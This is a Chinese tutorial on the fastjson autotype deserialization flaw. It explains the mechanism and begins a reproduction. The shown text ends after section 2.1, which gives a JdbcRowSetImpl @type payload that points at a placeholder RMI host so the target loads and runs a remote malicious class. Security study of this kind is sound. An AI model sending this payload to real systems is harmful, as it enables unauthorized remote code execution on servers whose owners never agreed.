fastjson反序列化漏洞_fastjson2 autotype json.parse 反序列化

目录

前言

一、漏洞原理

二、漏洞复现

2.1 fastjson<=1.2.24

2.2 1.2.24<=fastjson<=1.2.47

 2.2.1 在攻击机上编译类

 2.2.2 开启rmi和ldap服务

 2.2.3 写入poc

参考资料

---

前言

        fastjson是阿里开发的json解析库，可以将java对象解析为json，也可以将json反序列化为java对象，主要用json.parse()方法进行反序列化。

一、漏洞原理

        由于fastjson存在autotype功能，若开启了autotype功能（即autoTypeSupport=True），那么就可以引用@type指定反序列化的类，而若类中使用了json.parse()反序列化了恶意数据，那么就会造成任意代码执行。

二、漏洞复现

2.1 fastjson<=1.2.24

        可以直接抓包发送@type格式的json数据，fastjson会调用指定的类然后运行远程恶意class文件

如{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

指定反序列化com.sun.rowset.JdbcRowSetImpl类，然后利用rmi远程获取poc执行恶意代码。